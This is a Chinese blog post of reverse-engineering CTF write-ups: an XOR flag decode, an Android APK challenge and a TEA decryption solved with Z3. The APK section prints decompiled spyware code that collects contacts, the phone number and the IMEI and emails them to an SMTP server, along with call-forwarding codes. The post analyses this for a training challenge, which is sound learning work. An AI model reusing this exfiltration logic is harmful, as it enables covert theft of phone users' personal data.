当前位置: 首页 > news >正文

网站查询访问域名/seo外链建设方法

网站查询访问域名,seo外链建设方法,做本地网站卖,泰州百度seo一.[FlareOn4]IgniteMe1 https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip 根据汇编语言分析 查看需要返回为1的函数 int sub_401050() {int v1; // [esp0h] [ebp-Ch]int i; // [esp4h] [ebp-8h]unsigned int j; // [esp4h] [ebp-8h]char v4; …

一.[FlareOn4]IgniteMe1

https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip

根据汇编语言分析

查看需要返回为1的函数

int sub_401050()
{int v1; // [esp+0h] [ebp-Ch]int i; // [esp+4h] [ebp-8h]unsigned int j; // [esp+4h] [ebp-8h]char v4; // [esp+Bh] [ebp-1h]v1 = sub_401020(byte_403078);v4 = sub_401000();for ( i = v1 - 1; i >= 0; --i ){byte_403180[i] = v4 ^ byte_403078[i];v4 = byte_403078[i];}for ( j = 0; j < 0x27; ++j ){if ( byte_403180[j] != byte_403000[j] )return 0;}return 1;
}

可知

// v1 = sub_401020(byte_403078);
int __cdecl sub_401020(int a1)
{int i; // [esp+0h] [ebp-4h]for ( i = 0; *(i + a1); ++i );return i;
}

猜测和strlen相似

// v4 = sub_401000();
__int16 sub_401000()
{return __ROL4__(-2147024896, 4) >> 1;
}

学习一下:

__ROL4__是一个宏或者函数,用于实现循环左移(Rotate Left)操作,通常在编程中用于位操作。循环左移是指将一个数的二进制表示向左移动指定的位数,并将移出的位重新插入到数的右侧。这个操作在不同的编程环境和编译器中可能有不同的实现和命名。

所以把他变成16进制数0x80070000,

2进制左移4位相当于16进制左移1位,是0x00700008

之后再右移一位是0x380004

加密之后和byte_403000相同,

加密函数

int sub_4010F0()
{unsigned int v0; // eaxchar Buffer[260]; // [esp+0h] [ebp-110h] BYREFDWORD NumberOfBytesRead; // [esp+104h] [ebp-Ch] BYREFunsigned int i; // [esp+108h] [ebp-8h]char v5; // [esp+10Fh] [ebp-1h]v5 = 0;for ( i = 0; i < 0x104; ++i )Buffer[i] = 0;ReadFile(hFile, Buffer, 0x104u, &NumberOfBytesRead, 0);for ( i = 0; ; ++i ){v0 = sub_401020(Buffer);if ( i >= v0 )break;v5 = Buffer[i];if ( v5 != 10 && v5 != 13 ){if ( v5 )byte_403078[i] = v5;}}return 1;
}

分析发现和加密没什么关系,所以不用看了

所以只有一次异或加密,写代码实现

#include<stdio.h>  
#include<stdlib.h>  
int main()
{unsigned char aIe[] =
{13,  38,  73,  69,  42,  23, 120,  68,  43, 108, 93,  94,  69,  18,  47,  23,  43,  68, 111, 110, 86,   9,  95,  69,  71, 115,  38,  10,  13,  19, 23,  72,  66,   1,  64,  77,  12,   2, 105,   
};char flag [39];int i;int v4 = 0x380004;for ( i = 38; i >= 0; --i ){flag[i] = v4 ^ aIe[i];v4 = flag[i];}for(i=0;i<39;i++){printf("%c",flag[i]);}return 0;
}

R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com

二相册1

https://files.buuoj.cn/files/7f0577aa77c0e2997801c070b34047f2/bd3ebe0b-b510-4ace-988f-f61fe1291729.rar

下载完一看是apk文件,拖入gadx-gui中查看,因为提示中有邮箱,所以搜索mail,记得加载所有再查看

发现可能的关键函数,点进去

package cn.baidujiayuan.ver5304;import android.content.Context;
import android.os.AsyncTask;
import android.telephony.TelephonyManager;
import com.sun.mail.imap.IMAPStore;
import java.util.List;/* loaded from: classes.dex */
public class MailTask extends AsyncTask<Integer, Integer, String> {private String content;private Context context;public void run(String content) {String notebooks = "";List<String[]> notes = NoteBook.get(this.context, IMAPStore.RESPONSE);for (String[] note : notes) {notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";}TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");String tel = tm.getLine1Number();if (tel == null || tel.equals("")) {Sms getBFlag = A2.getNoteBook(content);tel = getBFlag.phoneNumber;}A2.getNoteBook(content);if (!A2.isEmpty(notebooks)) {TelephonyManager telephonyManager = (TelephonyManager) this.context.getSystemService("phone");String imei = telephonyManager.getDeviceId();A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + imei + ")", notebooks);}}public MailTask(String content, Context context) {this.content = content;this.context = context;}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic String doInBackground(Integer... params) {publishProgress(1);A2.log("拦截消息doInBackground");run(this.content);return "doInBackground:" + this.content;}@Override // android.os.AsyncTaskprotected void onPreExecute() {A2.log("拦截消息后准备发送");}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic void onProgressUpdate(Integer... values) {A2.log("拦截消息后准备发送中");}/* JADX INFO: Access modifiers changed from: protected */@Override // android.os.AsyncTaskpublic void onPostExecute(String result) {A2.log("拦截消息后发送结束:" + result);}
}

查看MAILSERVER函数

package cn.baidujiayuan.ver5304;import android.content.Context;
import android.content.SharedPreferences;
import com.net.cn.NativeMethod;
import it.sauronsoftware.base64.Base64;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.Date;/* loaded from: classes.dex */
public class C2 {public static final String CANCELNUMBER = "%23%2321%23";public static final String MAILFROME;public static final String MAILHOST = "smtp.163.com";public static final String MAILPASS;public static final String MAILSERVER;public static final String MAILUSER;public static final String MOVENUMBER = "**21*121%23";public static final String PORT = "25";public static final String date = "2115-11-1";public static final String phoneNumber;static {System.loadLibrary("core");MAILSERVER = Base64.decode(NativeMethod.m());MAILUSER = Base64.decode(NativeMethod.m());MAILPASS = Base64.decode(NativeMethod.pwd());MAILFROME = Base64.decode(NativeMethod.m());phoneNumber = Base64.decode(NativeMethod.p());}public static Date strToDateLong(String strDate) {SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");ParsePosition pos = new ParsePosition(0);Date strtodate = formatter.parse(strDate, pos);return strtodate;}public static boolean isFilter(Context context) {Date lastN = strToDateLong(date);Date currentTime = new Date();return lastN.getTime() - currentTime.getTime() < 0;}public static boolean isServerFilter(Context context) {SharedPreferences mSharedPreferences = context.getSharedPreferences("X", 0);String m = mSharedPreferences.getString("m", A2.FILTERSETUPTAG);return m.equals(A2.FILTERSETUPTAG);}
}

查看数据NativeMethod

学习一下:

在jadx中,"native"指的是原生方法,这些方法在Java代码中声明,但它们的实现位于C或C++编写的本地库中。原生方法使用`native`关键字进行声明,这意味着它们在Java虚拟机(JVM)之外执行,通常用于访问底层系统资源或进行性能关键型操作。在Android开发中,原生方法常用于与NDK(Native Development Kit)交互,以实现更接近硬件层面的功能。

在jadx反编译过程中,原生方法的声明会被识别,但由于它们的实现在本地库中,jadx无法提供这些方法的具体实现细节。用户可能会看到类似`public native String stringFromJNI();`的声明,这表明该方法是一个原生方法,其实现需要在本地代码中找到。

在jadx中,"native"关键字用于声明Java代码中的本地方法,这些方法在Java层声明,但其实现位于C或C++编写的本地库中,通常编译为.so文件。这些本地方法通过JNI(Java Native Interface)与Java代码交互,允许Android应用程序访问底层系统资源或执行性能关键型操作。当jadx反编译包含native方法的Android应用时,它会识别出这些方法,但无法提供其在.so文件中的具体实现细节,因为实现代码位于本地库中,不在Java代码中。

.so文件是C/C++代码编译后的动态链接库,它们在Android应用中用于实现native方法。这些.so文件可以在Android的JNI中被Java代码调用。jadx作为一个反编译工具,可以帮助开发者理解应用程序的结构,包括那些通过JNI调用的native方法。然而,要查看这些native方法的具体实现,需要查看相应的.so文件或C/C++源代码。

所以我们要找到apk文件的.so文件

其中apk就是一个安装包,解压之后在ida中打开.so文件查找即可,因为可以看出是base64加密,所以一般密文最后有"="填充符

查找字符串

在线自定义base64编解码、在线二进制转可打印字符、在线base2、base4、base8、base16、base32、base64--查错网

flag{18218465125@163.com}

三.[GWCTF 2019]xxor1

https://files.buuoj.cn/files/baba20fce498e7b1d5ad774fcb5bc89e/attachment

多学习于此:

BUUCTF [GWCTF 2019]xxor_buuctf xxor-CSDN博客

re题(37)BUUCTF-[GWCTF 2019]xxor-CSDN博客

查壳和找到主函数都没有问题,从分析代码开始

__int64 __fastcall main(int a1, char **a2, char **a3)
{int i; // [rsp+8h] [rbp-68h]int j; // [rsp+Ch] [rbp-64h]__int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF__int64 v7[6]; // [rsp+40h] [rbp-30h] BYREFv7[5] = __readfsqword(0x28u);puts("Let us play a game?");puts("you have six chances to input");puts("Come on!");memset(v6, 0, 40);for ( i = 0; i <= 5; ++i ){printf("%s", "input: ");a2 = (v6 + 4 * i);__isoc99_scanf("%d", a2);}memset(v7, 0, 40);for ( j = 0; j <= 2; ++j ){dword_601078 = v6[j];high = HIDWORD(v6[j]);a2 = &unk_601060;xxor(&dword_601078, &unk_601060);LODWORD(v7[j]) = dword_601078;HIDWORD(v7[j]) = high;}if ( sub_400770(v7, a2) != 1 ){puts("NO NO NO~ ");exit(0);}puts("Congratulation!\n");puts("You seccess half\n");puts("Do not forget to change input to hex and combine~\n");puts("ByeBye");return 0LL;
}

(1)读入代码

for ( i = 0; i <= 5; ++i )
{printf("%s", "input: ");a2 = (v6 + 4 * i);__isoc99_scanf("%d", a2);
}

循环6次,

提示输入,

char **a2 表示一个指向字符指针的指针,所以a2指向v6,

之后读取一个整数,并将其存储在 a2 指向的位置。由于 a2v6 数组中第 i 个元素的地址,所以这个整数将被存储在 v6[i] 中。

(2)查看密文

查看sub_400770可以知道所需要的值,

__int64 __fastcall sub_400770(_DWORD *a1)
{if ( a1[2] - a1[3] == 0x84A236FFLL&& a1[3] + a1[4] == 0xFA6CB703LL&& a1[2] - a1[4] == 1121399208LL&& *a1 == 0xDF48EF7E&& a1[5] == 0x84F30420&& a1[1] == 0x20CAACF4 ){puts("good!");return 1LL;}else{puts("Wrong!");return 0LL;}
}

学习z3解方程

Z3 定理证明器使用教程-CSDN博客

安装好之后就代入数据即可

from z3 import *s = Solver()
a1 = [Int(f'a1[{i}]') for i in range(6)]# 添加约束
s.add(a1[2] - a1[3] == 2225223423)
s.add(a1[3] + a1[4] == 4201428739)
s.add(a1[2] - a1[4] == 1121399208)
s.add(a1[0] == -548868226)
s.add(a1[5] == -2064448480)
s.add(a1[1] == 550153460)# 检查是否有解
if s.check() == sat:print(s.model())
else:print("No solution found.")

(3)加密方式

进入循环,知道v6一共有6个字符串,看到j++,只循环三次,但是在汇编中

j+=2;所以伪代码错误了,应该是v6的每一个数都加密(虽然j+=2也不一定是每一个都加密,但是既然错都错了,所以按照常理来说应该是都加密吧.....)

汇编语言没学过,所以直接抄了....结果还是不太懂.

.text:00000000004007D0                 mov     [rbp+var_8], rax
.text:00000000004007D4                 mov     eax, 84A236FFh
.text:00000000004007D9                 cmp     [rbp+var_18], rax
.text:00000000004007DD                 jnz     short loc_400845
.text:00000000004007DF                 mov     eax, 0FA6CB703h
.text:00000000004007E4                 cmp     [rbp+var_10], rax
.text:00000000004007E8                 jnz     short loc_400845
.text:00000000004007EA                 cmp     [rbp+var_8], 42D731A8h
.text:00000000004007F2                 jnz     short loc_400845
.text:00000000004007F4                 mov     rax, [rbp+var_28]
.text:00000000004007F8                 mov     eax, [rax]
.text:00000000004007FA                 cmp     eax, 0DF48EF7Eh
.text:00000000004007FF                 jnz     short loc_400834
.text:0000000000400801                 mov     rax, [rbp+var_28]
.text:0000000000400805                 add     rax, 14h
.text:0000000000400809                 mov     eax, [rax]
.text:000000000040080B                 cmp     eax, 84F30420h
.text:0000000000400810                 jnz     short loc_400834
.text:0000000000400812                 mov     rax, [rbp+var_28]
.text:0000000000400816                 add     rax, 4
.text:000000000040081A                 mov     eax, [rax]
.text:000000000040081C                 cmp     eax, 20CAACF4h

可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))

  如下代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了

    注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了

    (尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)

unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };
int tmp1, tmp2;
tmp1 = LODWORD(a1[0]);// -548868226
tmp2 = HIDWORD(a1[1]);// 550153460

————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/2301_80907001/article/details/142407558

xxor加密函数

__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)
{__int64 result; // raxunsigned int v3; // [rsp+1Ch] [rbp-24h]unsigned int v4; // [rsp+20h] [rbp-20h]int v5; // [rsp+24h] [rbp-1Ch]unsigned int i; // [rsp+28h] [rbp-18h]v3 = *a1;v4 = a1[1];v5 = 0;for ( i = 0; i <= 63; ++i ){v5 += 0x458BCD42;v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;}*a1 = v3;result = v4;a1[1] = v4;return result;
}

可知是tea加密,是对称加密,所以a2unk_601060应该是4个数,而每次传入的是两个数,所以就是j+=2;

所以a2unk_601060是2,2,3,4,对于j来说,只要是熟悉了tea加密,应该能猜出来(算法以32bits 的字为运算单位)

之后写代码实现

#include <stdio.h>
int main()
{int a1[6];a1[4] = 2652626477;a1[1] = 550153460;a1[3] = 1548802262;a1[5] = 2230518816;a1[2] = 3774025685;a1[0] = 3746099070;int a2[4]={2,2,3,4};int i,j;for(j=0;j<6;j+=2)
{__int64 result; // raxunsigned int v3; // [rsp+1Ch] [rbp-24h]unsigned int v4; // [rsp+20h] [rbp-20h]int v5; // [rsp+24h] [rbp-1Ch]unsigned int i; // [rsp+28h] [rbp-18h]v3 = a1[j];v4 = a1[j+1];v5 = 1166789954*64;for ( i = 0; i <= 63; ++i ){v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;v5 -= 1166789954;}a1[j] = v3;a1[j+1] = v4;
}for(i=0;i<6;i++){printf("%x\n",a1[i]);}
}

因为要把数字转换成字符串,所以我输出成16进制数%x,之后因为是6位16进制的数,又因为段序问题,所以直接在devc中再写代码实现字符串输出

printf("%c%c%c", *((char*)&a1[i] + 2), *((char*)&a1[i] + 1), *(char*)&a1[i]);

flag{re_is_great!}

或者用在线网站转成字符串ASCII码转字符串 - ASCII码

flag{re_is_great!}

相关文章:

reverse学习总结(12)

一.[FlareOn4]IgniteMe1 https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip 根据汇编语言分析 查看需要返回为1的函数 int sub_401050() {int v1; // [esp0h] [ebp-Ch]int i; // [esp4h] [ebp-8h]unsigned int j; // [esp4h] [ebp-8h]char v4; …...

基于“微店 Park”模式下 2+1 链动模式商城小程序的创新发展与应用研究

摘要&#xff1a;本文以“微店 Park”从“开店工具”向“众创平台”的转型为背景&#xff0c;深入探讨 21 链动模式商城小程序在该平台情境下的应用潜力与创新发展路径。通过剖析“微店 Park”的运营模式&#xff0c;包括灵活承租、低成本入驻、多元流量引流等特点&#xff0c;…...

C++11:【列表初始化】【右值引用和移动语义】

目录 一.列表初始化 1.1 C98传统的{} 1.2C11中的{} 1.3C中的std::initializer_list 二.右值引用和移动语义 2.1左值和右值 2.2左值引用和右值引用 2.3引用延长生命周期 2.4左值和右值的参数匹配 2.5右值引用和移动语义的使用场景 2.5.1左值引用主要使用场景 2.5.2移…...

Zookeeper的通知机制是什么?

大家好&#xff0c;我是锋哥。今天分享关于【Zookeeper的通知机制是什么?】面试题。希望对大家有帮助&#xff1b; Zookeeper的通知机制是什么? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Zookeeper的通知机制主要通过Watcher实现&#xff0c;它是Zookeeper客…...

嵌入式蓝桥杯学习1 电量LED

cubemx配置 1.新建一个STM32G431RBT6文件 2.在System-Core中点击SYS&#xff0c;找到Debug&#xff08;设置为Serial Wire&#xff09; 3.在System-Core中点击RCC&#xff0c;找到High Speed Clock(设置为Crystal/Ceramic Resonator) 4.打开Clock Configuration &#xff0…...

bsmap输出结果解释

关于, , -, --的解释 对应着参考基因组的正链&#xff08;有义链&#xff0c;非模板链&#xff0c;即hg38的序列&#xff0c;watson链&#xff09;&#xff1b; -代表正链的互补链&#xff08;正常情况下正链的互补链是负链&#xff0c;但在重硫酸盐处理后正链和负链并不互补…...

【java-数据结构篇】揭秘 Java LinkedList:链表数据结构的 Java 实现原理与核心概念

我的个人主页 我的专栏&#xff1a;Java-数据结构&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01;点赞❤ 收藏❤ 目录 1. Java LinkedList 基础 1.1 LinkedList 简介 1.2 LinkedList 的实现原理 1.3 LinkedList 与 ArrayList 的区别 2. 链表基础 2.1 链…...

macOS运行amd64的镜像

在macOS上运行amd64&#xff08;x86_64&#xff09;架构的镜像&#xff0c;通常通过虚拟化或仿真工具来实现。例如&#xff0c;如果你使用的是基于Apple Silicon&#xff08;M1或M2等&#xff09;芯片的Mac&#xff0c;那么你的处理器是ARM架构的&#xff0c;而amd64是x86架构&…...

轻量的基于图结构的RAG方案LightRAG

LightRAG出自2024年10月的论文《LIGHTRAG: SIMPLE AND FASTRETRIEVAL-AUGMENTED GENERATION》(github)&#xff0c;也是使用图结构来索引和搜索相关文本。 LightRAG作者认为已有的RAG系统有如下两个限制&#xff0c;导致难以回答类似"How does the rise of electric vehi…...

计算机的错误计算(一百七十三)

摘要 给定多项式 在 MATLAB 中计算 的值。输出是错误结果。 例1. 已知 计算 直接贴图吧&#xff1a; 这样&#xff0c;MATLAB 输出了错误结果。因为准确值为 0.2401e-16 . 注&#xff1a;可参看计算机的错误计算&#xff08;六&#xff09;。...

【力扣】—— 二叉树的前序遍历、字典序最小回文串

Hi~&#xff01;这里是奋斗的明志&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f331;&#x1f331;个人主页&#xff1a;奋斗的明志 &#x1f331;&#x1f331;所属专栏&#xff1a;数据结构 &#x1f4da;本系列文章为个人学…...

linux替换更高版本gcc

实际使用时对与gcc版本有很多要求, 需要在centos上安装更高版本的gcc 1、安装centos-release-scl sudo yum install centos-release-scl2、安装devtoolset&#xff0c;注意&#xff0c;如果想安装7.版本的&#xff0c;就改成devtoolset-7-gcc&#xff0c;以此类推 sudo yum …...

在Java中使用Apache POI导入导出Excel(六)

本文将继续介绍POI的使用&#xff0c;上接在Java中使用Apache POI导入导出Excel&#xff08;五&#xff09; 使用Apache POI组件操作Excel&#xff08;六&#xff09; 43、隐藏和取消隐藏行 使用 Excel&#xff0c;可以通过选择该行&#xff08;或行&#xff09;来隐藏工作表…...

`uni.setClipboardData` 是 uni-app 提供的一个 API 设置系统剪贴板的内容

uni.setClipboardData是uni-app提供的一个API&#xff0c;用于设置系统剪贴板的内容。 使用说明&#xff1a; 使用此API可以将指定的文本内容复制到系统剪贴板&#xff0c;使用户能够在其他应用或页面中粘贴这些内容。 uni.setClipboardData({data: , // 需要复制的内容 suc…...

【大模型微调】pdf转markdown

目前市面上大部分都是pdf文档,要想转换成能训练的文本,调研了各种工具。 觉得MinerU确实不错。 参考此链接进行操作 MinerU/docs/README_Ubuntu_CUDA_Acceleration_en_US.md at master opendatalab/MinerU GitHub 需要注意的几个点: 1. 使用root账户安装的,配置文件在…...

Vue 3 结合 TypeScript基本使用

Vue 3 结合 TypeScript 使用可以提供更加强大的类型检查和开发体验。以下是一些基本的步骤来开始使用 Vue 3 和 TypeScript&#xff1a; 1. 创建项目 你可以使用 Vue CLI 来快速创建一个支持 TypeScript 的 Vue 项目。首先确保你已经安装了 Node.js 和 npm。然后全局安装或更…...

Trotter steps的复杂性分析

总结 • 我们开发了使用汉密尔顿系数结构执行 Trotter 步骤的递归方法&#xff0c;超越了顺序方法。 • #Gate/Step 在汉密尔顿项数上是次线性的&#xff0c;而 #Step 仍然保持交换子缩放。 • 新结果给出了实空间中第二量化电子结构汉密尔顿的最快量子模拟。对第一量化量子模…...

mean,median,mode,var,std,min,max函数

剩余的函数都放在这篇里面吧 m e a n mean mean函数可以求平均值 a a a为向量时&#xff0c; m e a n ( a ) mean(a) mean(a)求向量中元素的平均值 a a a为矩阵时&#xff0c; m e a n ( a , 1 ) mean(a,1) mean(a,1)求矩阵中各列元素的平均值&#xff1b; m e a n ( a , 2 )…...

JavaScript实现tab栏切换

JavaScript实现tab栏切换 代码功能概述 这段代码实现了一个简单的选项卡&#xff08;Tab&#xff09;切换功能。它通过操作 HTML 元素的类名&#xff08;class&#xff09;来控制哪些选项卡&#xff08;Tab&#xff09;和对应的内容板块显示&#xff0c;哪些隐藏。基本思路是先…...

精确电压输出,家电和工业设备的完美选择,宽输入电压线性稳压器

WD5201线性稳压器的核心内容概述&#xff1a; 主要特点 • 高精度输出电压&#xff1a;2%精度。 • 输出电压可调&#xff1a;支持5V、3.3V、2.7V三档输出。 • 优化控制方式&#xff1a;提升效率。 • 宽输入电压范围&#xff1a;80305VAC。 • 无需功率电感和输入高压电…...

深入理解定时器:优先队列与时间轮实现

文章目录 1. 线程池概述线程池的基本特点&#xff1a; 2. 使用线程池的优先队列定时器实现2.1 优先队列定时器实现2.2 解释&#xff1a; 3. 使用时间轮的线程池定时器实现3.1 时间轮定时器实现 4. 总结 在定时器设计中&#xff0c;使用线程池来执行定时任务可以有效提高程序的性…...

autogen-agentchat 0.4.0.dev8版本的安装

1. 安装命令 pip install autogen-agentchat0.4.0.dev8 autogen-ext[openai]0.4.0.dev82. 版本检查 import autogen_agentchat print(autogen_agentchat.__version__)0.4.0.dev8import autogen_ext print(autogen_ext.__version__)0.4.0.dev83. 第一个案例 使用 autogen-age…...

JAVA |日常开发中读写XML详解

JAVA &#xff5c;日常开发中读写XML详解 前言一、XML 简介二、在 Java 中读取 XML2.1 使用 DOM&#xff08;Document Object Model&#xff09;方式读取 XML2.2 使用 SAX&#xff08;Simple API for XML&#xff09;方式读取 XML 三、在 Java 中写入 XML3.1 使用 DOM 方式写入…...

React 路由与组件通信:如何实现路由参数、查询参数、state和上下文的使用

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…...

帮我写一篇关于AI搜索网页上编写的文章是否存在版权问题的文章, 字数在 3000 字左右。文心一言提问, 记录后用.

AI搜索网页上编写的文章是否存在版权问题&#xff1f; 在当今科技飞速发展的时代&#xff0c;AI搜索工具如雨后春笋般涌现&#xff0c;为人们获取信息提供了极大的便利。然而&#xff0c;随之而来的问题是&#xff0c;AI搜索案例中常常出现很多内容缺乏依据&#xff0c;这引发…...

电脑关机的趣味小游戏——system函数、strcmp函数、goto语句的使用

文章目录 前言一. system函数1.1 system函数清理屏幕1.2 system函数暂停运行1.3 system函数电脑关机、重启 二、strcmp函数三、goto语句四、电脑关机小游戏4.1. 程序要求4.2. 游戏代码 总结 前言 今天我们写一点稍微有趣的代码&#xff0c;比如写一个小程序使电脑关机&#xf…...

AttributeError: ‘DataFrame‘ object has no attribute ‘append‘的参考解决方法

文章目录 写在前面一、问题描述二、解决方法参考链接 写在前面 自己的测试环境&#xff1a; Ubuntu20.04 一、问题描述 运行开源的python代码的时候&#xff0c;遇到如下问题 AttributeError: DataFrame object has no attribute append二、解决方法 报错中的DataFrame是在…...

java垃圾回收机制介绍

Java垃圾回收机制&#xff08;Garbage Collection, GC&#xff09;是Java编程语言中的一项重要特性&#xff0c;它自动管理内存&#xff0c;释放不再使用的对象 1. 堆&#xff08;Heap&#xff09;&#xff1a; • Java虚拟机&#xff08;JVM&#xff09;中用于存储对象实例的内…...

SpringMVC跨域问题解决方案

当Web应用程序尝试从一个源&#xff08;例如 http://localhost:9090&#xff09;向另一个不同的源&#xff08;例如 http://localhost:8080&#xff09;发起请求时&#xff0c;发现报错&#xff1a; 报错原因&#xff1a;请求被CORS策略拦截了 跨域问题概述 当Web应用程序尝试…...

【语音识别】Zipformer

Zipformer 是kaldi 团队于2024研发的序列建模模型。相比较于 Conformer、Squeezeformer、E-Branchformer等主流 ASR 模型&#xff0c;Zipformer 具有效果更好、计算更快、更省内存等优点。并在 LibriSpeech、Aishell-1 和 WenetSpeech 等常用数据集上取得了当时最好的 ASR 结果…...